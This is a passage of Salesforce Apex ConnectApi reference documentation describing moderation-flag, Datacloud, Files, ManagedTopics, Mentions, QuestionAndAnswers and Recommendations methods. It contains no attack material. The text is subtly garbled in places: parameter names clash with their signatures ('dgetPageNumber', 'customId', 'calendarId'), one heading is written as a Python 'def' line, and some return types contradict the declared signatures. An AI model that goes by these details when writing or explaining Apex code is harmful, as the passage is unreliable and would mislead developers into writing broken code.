`public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String feedItemId, ConnectApi.CommunityFlagVisibility visibility)`

Parameters

`communityId`
Type: String
Use either the ID for a community, `internal`, or `null`.

`feedItemId`
Type: String
The ID for a feed item.

`visibility`
Type: `ConnectApi.CommunityFlagVisibility`
Specifies the visibility behavior of a flag for various user types.
- **ModeratorsOnly**—The flag is visible only to users with moderation permissions on the flagged element or item.
- **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.
Return Value
Type: ConnectApi.ModerationFlags

removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must have the “Moderate Communities Feeds” permission.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags removeFlagFromComment(String communityId, String commentId, String userId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

commentId
Type: String
The ID for a comment.

userId
Type: String
The ID for a user.

Return Value
Type: Void

removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag or must have the Moderate Communities Feeds permission.

API Version
31.0
Requires Chatter
Yes

Signature
public static void removeFlagFromFeedElement(String communityId, String feedElementId, String userId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

feedElementId
Type: String
The ID for a feed element.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.ModerationCapability Class
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException on page 1395.

removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must have the “Moderate Communities Feeds” permission.

API Version
29.0–31.0

Important: In version 32.0 and later, use removeFlagFromFeedElement(communityId, feedElementId, userId).

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags removeFlagsOnFeedItem(String communityId, String feedItemId, String userId)
Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

feedItemId
Type: String
The ID for a feed item.

userId
Type: String
The ID for a user.

Return Value
Type: Void

Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.

Namespace
ConnectApi

IN THIS SECTION:
Datacloud Methods

Datacloud Methods
The following are methods for Datacloud. All methods are static.

IN THIS SECTION:
getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.

getCompany(companyId)
Retrieves a company record from an identification number.

getContact(contactId)
Retrieves a contact record from an identification number.

getContactsFromOrder(orderId, page, pageSize)
Retrieves a list of purchased contacts for an order.

getOrder(orderId)
Retrieves purchased records for an order.

getUsage(userId)
Retrieves purchase usage information for a specific user.
postOrder(orderInput)
Purchase records that are listed in an input file.

getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudCompanies getCompaniesFromOrder(String orderId, String pageSize, String page)

Parameters

orderId
Type: String
A unique number that identifies an order.

page
Type: String
The number of the page that you want returned.

pageSize
Type: String
The number of companies to show on a page. The default pageSize is 25.

Return Value
Type: ConnectApi.DatacloudCompanies

getCompany(companyId)
Retrieves a company record from an identification number.

API Version
32.0

Requires Chatter
No
Signature
public static ConnectApi.DatacloudCompany getCompany(String companyId)

Parameters
companyId
   Type: String
   A numeric identifier for a company in the Data.com database.

Return Value
Type: ConnectApi.DatacloudCompany

Example
ConnectApi.DatacloudCompany DatacloudCompanyRep = ConnectApi.Datacloud.getCompany(companyId);

getContact (contactId)
Retrieves a contact record from an identification number.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudContact getContact(String contactId)

Parameters
contactId
   Type: String
   A unique numeric string that identifies a contact in the Data.com database.

Return Value
Type: ConnectApi.DatacloudContact

Example
ConnectApi.DatacloudContact DatacloudContactRep = ConnectApi.Datacloud.getContact(contactId);
**getContactsFromOrder(orderId, page, pageSize)**
Retrieves a list of purchased contacts for an order.

**API Version**
32.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.DatacloudContacts getContactsFromOrder(String orderId, String page, String pageSize)
```

**Parameters**
- `orderId`
  - Type: `String`
  - A unique number that’s associated with an order.
- `page`
  - Type: `String`
  - The number of the page that you want returned.
- `pageSize`
  - Type: `String`
  - The number of contacts to show on a page. The default `pageSize` is 25.

**Return Value**
Type: `ConnectApi.DatacloudContacts`

**getOrder(orderId)**
Retrieves purchased records for an order.

**API Version**
32.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.DatacloudOrder getOrder(String orderId)
```
Parameters

**orderId**
Type: `String`
A unique number that identifies an order.

Return Value
Type: `ConnectApi.DatacloudOrder`

Example

```java
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.getOrder(orderId);
```

**getUsage(userId)**
Retrieves purchase usage information for a specific user.

API Version
32.0

Requires Chatter
No

Signature

```java
public static ConnectApi.DatacloudPurchaseUsage getUsage(String userId)
```

Parameters

**userId**
Type: `String`
A unique number that identifies a single user.

Return Value
Type: `ConnectApi.DatacloudPurchaseUsage`

Example

```java
ConnectApi.DatacloudPurchaseUsage datacloudPurchaseUsageRep = ConnectApi.Datacloud.getUsage(userId);
```

**postOrder(orderInput)**
Purchase records that are listed in an input file.
API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.DatacloudOrder postOrder(ConnectApi.DatacloudOrderInput orderInput)

Parameters
orderInput
  Type: ConnectApi.DatacloudOrderInput
  A list that contains IDs for the contacts or companies that you want to see.

Return Value
Type: ConnectApi.DatacloudOrder

Example
ConnectApi.DatacloudOrderInput inputOrder=new ConnectApi.DatacloudOrderInput();
List<String> ids=new List<String>();
ids.add('1234');
inputOrder.companyIds=ids;
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.postOrder(inputOrder);

Files Class
Get file previews.

Namespace
ConnectApi

Files Methods
The following are methods for Files. All methods are static.

IN THIS SECTION:
  getFilePreview(communityId, fileId, previewFormat, startPageNumber, endPageNumber)
  Get a file preview or a specific page in a file preview.
getFilePreview(communityId, fileId, previewFormat, startPageNumber, endPageNumber)

Get a file preview or a specific page in a file preview.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.FilePreview getFilePreview(String communityId, String fileId, ConnectApi.FilePreviewFormat previewFormat, Integer startPageNumber, Integer endPageNumber)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

fileId
Type: String
ID of the file.

previewFormat
Type: ConnectApi.FilePreviewFormat
 Specifies the format of the file preview.
  • Pdf—Preview format is PDF.
  • Svg—Preview format is compressed SVG.
  • Thumbnail—Preview format is 240 x 180 PNG.
  • ThumbnailBig—Preview format is 720 x 480 PNG.
  • ThumbnailTiny—Preview format is 120 x 90 PNG.

startPageNumber
Type: Integer
The starting page number in the range of file preview URLs.

dgetPageNumber
Type: Integer
The ending page number in the range of file preview URLs.
ManagedTopics Class

Access information about managed topics in a community. Create, delete, and reorder managed topics.

Namespace

ConnectApi

ManagedTopics Methods

The following are methods for ManagedTopics. All methods are static.

IN THIS SECTION:

- createManagedTopic(communityId, recordId, managedTopicType)
  Creates a managed topic of a specific type for the specified community.
- createManagedTopic(communityId, recordId, managedTopicType, parentId)
  Creates a child managed topic for a community.
- createManagedTopicByName(communityId, name, managedTopicType)
  Creates a managed topic of a specific type by name for the specified community.
- createManagedTopicByName(communityId, name, managedTopicType, parentId)
  Creates a child managed topic by name for a community.
- deleteManagedTopic(communityId, managedTopicId)
  Deletes a managed topic from the specified community.
- getManagedTopic(communityId, managedTopicId)
  Returns information about a managed topic in a community.
- getManagedTopic(communityId, managedTopicId, depth)
  Returns information about a managed topic, including its parent and children managed topics, in a community.
- getManagedTopics(communityId)
  Returns the managed topics for the community.
- getManagedTopics(communityId, managedTopicType)
  Returns managed topics of a specified type for the community.
- getManagedTopics(communityId, managedTopicType, depth)
  Returns managed topics of a specified type, including their parent and children managed topics, in a community.
- getManagedTopics(communityId, managedTopicType, recordId, depth)
  Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given topic in a community.
- reorderManagedTopics(communityId, managedTopicPositionCollection)
  Reorders the relative positions of managed topics in a community.
createManagedTopic(communityId, recordId, managedTopicType)

Creates a managed topic of a specific type for the specified community.

API Version

32.0

Requires Chatter

No

Signature

public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String recordId, ConnectApi.ManagedTopicType managedTopicType)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

recordId
Type: String
ID of the topic.

managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
• Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
• Navigational—Topics that display in a navigational menu in the community.

A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational topic.

You can create up to 25 managed topics per managedTopicType.

Return Value

Type: ConnectApi.ManagedTopic

Usage

Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed topics.

createManagedTopic(communityId, recordId, managedTopicType, parentId)

Creates a child managed topic for a community.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String recordId, ConnectApi.ManagedTopicType managedTopicType, String parentId)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.
recordId
  Type: String
  ID of the topic.
managedTopicType
  Type: ConnectApi.ManagedTopicType
  Specify Navigational for the type of managed topic to create a child managed topic.
    A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational topic.
    You can create up to 25 managed topics per managedTopicType.
parentId
  Type: String
  ID of the parent managed topic.
    You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed topics per managed topic.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed topics.

createManagedTopicByName(communityId, name, managedTopicType)
Creates a managed topic of a specific type by name for the specified community.
API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId, String name, ConnectApi.ManagedTopicType managedTopicType)

Parameters
- communityId
  Type: String
  Use either the ID for a community, internal, or null.
- name
  Type: String
  Name of the topic.
- managedTopicType
  Type: ConnectApi.ManagedTopicType
  Specify the type of managed topic.
  - Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
  - Navigational—Topics that display in a navigational menu in the community.
  A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational topic.
  You can create up to 25 managed topics per managedTopicType.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed topics.

createManagedTopicByName(communityId, name, managedTopicType, parentId)
Creates a child managed topic by name for a community.

API Version
35.0
Requires Chatter
No

Signature

```java
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId, String name, ConnectApi.ManagedTopicType managedTopicType, String parentId)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **name**
  - Type: String
  - Name of the topic.

- **managedTopicType**
  - Type: ConnectApi.ManagedTopicType
  - Specify Navigational for the type of managed topic to create a child managed topic.
  - A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational topic.
  - You can create up to 25 managed topics per managedTopicType.

- **parentId**
  - Type: String
  - ID of the parent managed topic.
  - You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed topics per managed topic.

Return Value

Type: ConnectApi.ManagedTopic

Usage

Only community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can create managed topics.

```java
deleteManagedTopic(communityId, managedTopicId)
```

Deletes a managed topic from the specified community.

API Version

32.0
Requires Chatter
No

Signature
public static deleteManagedTopic(String communityId, String managedTopicId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

managedTopicId
Type: String
ID of managed topic.

Return Value
Type: Void

Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can delete managed topics.

getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String managedTopicId)
Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`managedTopicId`
Type: `String`
ID of managed topic.

Return Value
Type: `ConnectApi.ManagedTopic`

`getManagedTopic(communityId, managedTopicId, depth)`
Returns information about a managed topic, including its parent and children managed topics, in a community.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
`public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String managedTopicId, Integer depth)`

Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`managedTopicId`
Type: `String`
ID of managed topic.

`depth`
Type: `Integer`
Specify an integer 1–3. If you specify 1, the `children` property of the `ConnectApi.ManagedTopic` output class is `null`. If you specify 2, the `children` property of the `ConnectApi.ManagedTopic` output class contains the direct children managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed topics if there are any. If `depth` isn’t specified, it defaults to 1.
Return Value
Type: `ConnectApi.ManagedTopic`

`getManagedTopics(communityId)`
Returns the managed topics for the community.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
`public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId)`

Parameters
`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

Return Value
Type: `ConnectApi.ManagedTopicCollection`

`getManagedTopics(communityId, managedTopicType)`
Returns managed topics of a specified type for the community.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No
Signature

```java
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
                   ConnectApi.ManagedTopicType managedTopicType)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.

- **managedTopicType**
  - Type: `ConnectApi.ManagedTopicType`
  - Specifies the type of managed topic.
    - Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
    - Navigational—Topics that display in a navigational menu in the community.
  - A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational topic.

Return Value

- Type: `ConnectApi.ManagedTopicCollection`

```java
getManagedTopics(communityId, managedTopicType, depth)
```

Returns managed topics of a specified type, including their parent and children managed topics, in a community.

API Version

35.0

Available to Guest Users

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
                   ConnectApi.ManagedTopicType managedTopicType, Integer depth)
```

Parameters

- **communityId**
  - Type: String
  - Use either the ID for a community, internal, or null.
managedTopicType
Type: `ConnectApi.ManagedTopicType`
Specifies the type of managed topic.

- **Featured**—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
- **Navigational**—Topics that display in a navigational menu in the community.

A topic can be associated with up to two managed topic types, so a topic can be both a **Featured** topic and a **Navigational** topic.

depth
Type: `Integer`
Specify an integer 1–3. If you specify 1, the `children` property of the `ConnectApi.ManagedTopic` output class is `null`. If you specify 2, the `children` property of the `ConnectApi.ManagedTopic` output class contains the direct children managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed topics if there are any. If depth isn’t specified, it defaults to 1.

Return Value
Type: `ConnectApi.ManagedTopicCollection`

**getManagedTopics(communityId, managedTopicType, recordId, depth)**
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given topic in a community.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
```java
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, ConnectApi.ManagedTopicType managedTopicType, String recordId, Integer depth)
```

Parameters

- **communityId**
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

- **managedTopicType**
  Type: `ConnectApi.ManagedTopicType`
Specifies the type of managed topic.

- **Featured**—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
- **Navigational**—Topics that display in a navigational menu in the community.

A topic can be associated with up to two managed topic types, so a topic can be both a **Featured** topic and a **Navigational** topic.

**recordId**
Type: **String**
ID of the topic associated with the managed topics.

**depth**
Type: **Integer**
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is **null**. If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed topics if there are any. If depth isn’t specified, it defaults to 1.

**Return Value**
Type: `ConnectApi.ManagedTopicCollection`

reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.

**API Version**
32.0

**Requires Chatter**
No

**Signature**
```
public static ConnectApi.ManagedTopicCollection reorderManagedTopics(String communityId, 
ConnectApi.ManagedTopicPositionCollectionInput managedTopicPositionCollection)
```

**Parameters**

- **communityId**
  Type: **String**
  Use either the ID for a community, internal, or null.

- **managedTopicPositionCollection**
  Type: `ConnectApi.ManagedTopicPositionCollectionInput`
  A collection of relative positions of managed topics. This collection can include **Featured** and **Navigational** managed topics and doesn’t need to include all managed topics.
Return Value
Type: `ConnectApi.ManagedTopicCollection`

Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can reorder managed topics.

If you don’t include all managed topics in the `ConnectApi.ManagedTopicPositionCollectionInput`, the managed topics are reordered by respecting the positions indicated in the `ConnectApi.ManagedTopicPositionCollectionInput` and then by pushing down any managed topics that aren’t included in the `ConnectApi.ManagedTopicPositionCollectionInput` to the next available position.

Example
If you have these managed topics:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicA</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicB</td>
<td>1</td>
</tr>
<tr>
<td>ManagedTopicC</td>
<td>2</td>
</tr>
<tr>
<td>ManagedTopicD</td>
<td>3</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>4</td>
</tr>
</tbody>
</table>

And you reorder managed topics by including this information in `ConnectApi.ManagedTopicPositionCollectionInput`:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicD</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Managed Topic</th>
<th>Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>ManagedTopicD</td>
<td>0</td>
</tr>
<tr>
<td>ManagedTopicA</td>
<td>1</td>
</tr>
<tr>
<td>ManagedTopicE</td>
<td>2</td>
</tr>
<tr>
<td>ManagedTopicB</td>
<td>3</td>
</tr>
<tr>
<td>ManagedTopicC</td>
<td>4</td>
</tr>
</tbody>
</table>
Mentions Class

Access information about mentions. A mention is an "@" character followed by a user or group name. When a user or group is mentioned, they receive a notification.

Namespace

Mentions Methods

The following are methods for Mentions. All methods are static.

IN THIS SECTION:

getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an "@" character followed by a user or group name. When a user or group is mentioned, they receive a notification.

getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention is an "@" character followed by a user or group name. When a user or group is mentioned, they receive a notification.

getMentionValidations(communityId, parentId, recordIds, visibility)
Information about whether the specified mentions are valid for the context user.

getMentionCompletions(communityId, q, contextId)

Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an "@" character followed by a user or group name. When a user or group is mentioned, they receive a notification.

API Version

29.0

Requires Chatter

Yes

Signature

public static ConnectApi.MentionCompletionPage getMentionCompletions (String communityId, String q, String contextId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search for a group, a minimum of 2 characters is required. This parameter does not support wildcards.

customId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first.

Return Value
Type: ConnectApi.MentionCompletionPage

Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body or a comment body.
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetMentionCompletions(communityId, q, customId, result)
Testing ConnectApi Code

def getMentionCompletions(communityId, q, customId, type, pageParam, pageSize):
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention is an “@” character followed by a user or group name. When a user or group is mentioned, they receive a notification.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Mentions getMentionCompletions (String communityId, String q, String customId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

q
  Type: String
  A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search for a group, a minimum of 2 characters is required. This parameter does not support wildcards.

contextId
  Type: String
  A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first.

type
  Type: ConnectApi.MentionCompletionType
  Specifies the type of mention completion:
  - All—All mention completions, regardless of the type of record to which the mention refers.
  - Group—Mention completions for groups.
  - User—Mention completions for users.

pageParam
  Type: String
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: String
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
  Type: ConnectApi.MentionCompletionPage

Usage
  Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body or a comment body.

  To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

  SEE ALSO:
    setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)
    Testing ConnectApi Code

getMentionValidations(communityId, parentId, recordIds, visibility)
  Information about whether the specified mentions are valid for the context user.

API Version
  29.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.Mentions getMentionValidations(String communityId, String parentId, List<String> recordIds, ConnectApi.FeedItemVisibilityType visibility)
```

Parameters

- `communityId`
  Type: `String`
  Use either the ID for a community, internal, or `null`.

- `parentId`
  Type: `String`
  The feed item parent ID (for new feed items) or feed item ID (for comments).

- `recordIds`
  Type: `List<String>`
  A comma separated list of IDs to be mentioned. The maximum value is 25.

- `visibility`
  Type: `ConnectApi.FeedItemVisibilityType`
  Specifies the type of users who can see a feed item.
  - `AllUsers`—Visibility is not limited to internal users.
  - `InternalUsers`—Visibility is limited to internal users.

Return Value

Type: `ConnectApi.MentionValidations`

Usage

Call this method to check whether the record IDs returned from a call to `ConnectApi.Mentions.getMentionCompletions` are valid for the context user. For example, the context user can’t mention private groups he doesn’t belong to. If such a group were included in the list of mention validations, the `ConnectApi.MentionValidations.hasErrors` property would be `true` and the group would have a `ConnectApi.MentionValidation.validationStatus` of `Disallowed`.

Mentions Test Methods

The following are the test methods for `Mentions`. All methods are static.

For information about using these methods to test your `ConnectApi` code, see Testing `ConnectApi` Code.

```java
setTestGetMentionCompletions(communityId, q, contextId, result)
```

Registers a `ConnectApi.MentionCompletionPage` object to be returned when `getMentionCompletions(String, String, String)` is called in a test context.
API Version
29.0

Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String contextId, ConnectApi.MentionCompletionPage result)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search for a group, a minimum of 2 characters is required. This parameter does not support wildcards.

contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first.

result
Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.

Return Value
Type: Void

SEE ALSO:
getMentionCompletions(communityId, q, contextId)
Testing ConnectApi Code

setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)
Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String, String, String, ConnectApi.MentionCompletionType, Integer, Integer) is called in a test context.

API Version
29.0
public static Void setTestGetMentionCompletions (String communityId, String q, String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize, ConnectApi.MentionCompletionPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search for a group, a minimum of 2 characters is required. This parameter does not support wildcards.

calendarId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with more useful results listed first.

type
Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
- All—All mention completions, regardless of the type of record to which the mention refers.
- Group—Mention completions for groups.
- User—Mention completions for users.

pageParam
Type: String
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.

Return Value
Type: Void

SEE ALSO:
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Testing ConnectApi Code
Organization Class
Access information about an organization.

Namespace
ConnectApi
This is the static method of the Organization class:

Organization Methods
The following are methods for Organization. All methods are static.

IN THIS SECTION:
getSettings()
Returns information about the organization and context user, including which features are enabled.

getSettings()
Returns information about the organization and context user, including which features are enabled.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi.OrganizationSettings getSettings()

Return Value
Type: ConnectApi.OrganizationSettings

QuestionAndAnswers Class
Access question and answers suggestions.

Namespace
ConnectApi

IN THIS SECTION:
QuestionAndAnswers Methods
**QuestionAndAnswers Methods**

The following are methods for `QuestionAndAnswers`. All methods are static.

**IN THIS SECTION:**

- `getSuggestions(communityId, q, subjectId, includeArticles, maxResults)`
  Returns question and answers suggestions.

- `setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)`
  Registers a `ConnectApi.QuestionAndAnswersSuggestions` object to be returned when `getSuggestions` is called with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.

- `updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)`
  Choose or change the best answer for a question.

**getSuggestions(communityId, q, subjectId, includeArticles, maxResults)**

Returns question and answers suggestions.

**API Version**

32.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.QuestionAndAnswersSuggestions getSuggestions(String communityId, String q, String subjectId, Boolean includeArticles, Integer maxResults)
```

**Parameters**

- `communityId`
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

- `q`
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

- `subjectId`
  Type: `String`
  Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.

- `includeArticles`
  Type: `Boolean`
  Specify `true` to include knowledge articles in the search results. To return only questions, specify `false`.
maxResults
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.

Return Value
Type: ConnectApi.QuestionAndAnswersSuggestions

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Testing ConnectApi Code

setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is called with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.

API Version
32.0

Signature
public static Void setTestGetSuggestions(String communityId, String q, String subjectId, Boolean includeArticles, Integer maxResults, ConnectApi.QuestionAndAnswersSuggestions result)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

subjectId
Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
**includeArticles**
Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.

**maxResults**
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.

**result**
Type: `ConnectApi.QuestionAndAnswersSuggestions`
The object containing test data.

**Return Value**
Type: Void

SEE ALSO:
- `getSuggestions(communityId, q, subjectId, includeArticles, maxResults)`
- Testing ConnectApi Code

### updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)
Choose or change the best answer for a question.

**API Version**
32.0

**Requires Chatter**
Yes

**Signature**
```java
public static ConnectApi.QuestionAndAnswersCapability updateQuestionAndAnswers(String communityId, String feedElementId, ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapability)
```

**Parameters**
- **communityId**
  Type: String
  Use either the ID for a community, `internal`, or `null`.

- **feedElementId**
  Type: String
  The ID for a feed element.
questionAndAnswersCapability
Type: ConnectApi.QuestionAndAnswersCapabilityInput
Specify the best answer (comment ID) for the question.

Return Value
Type: ConnectApi.QuestionAndAnswersCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException on page 1395.

Example
ConnectApi.QuestionAndAnswersCapabilityInput qaInput = new ConnectApi.QuestionAndAnswersCapabilityInput();
qaInput.bestAnswerId = '0D7D00000000lMAKAY';

ConnectApi.QuestionAndAnswersCapability qa =
ConnectApi.QuestionAndAnswers.updateQuestionAndAnswers(null, '0D5D0000000XZjJ', qaInput);

Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation audiences, recommendation definitions, and scheduled recommendations.

Namespace
ConnectApi

Recommendations Methods
The following are methods for Recommendations. All methods are static.

IN THIS SECTION:
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.
createRecommendationAudience(communityId, name)
Create an audience for a recommendation.
createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.
createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
Create a recommendation definition with the specified parameters.
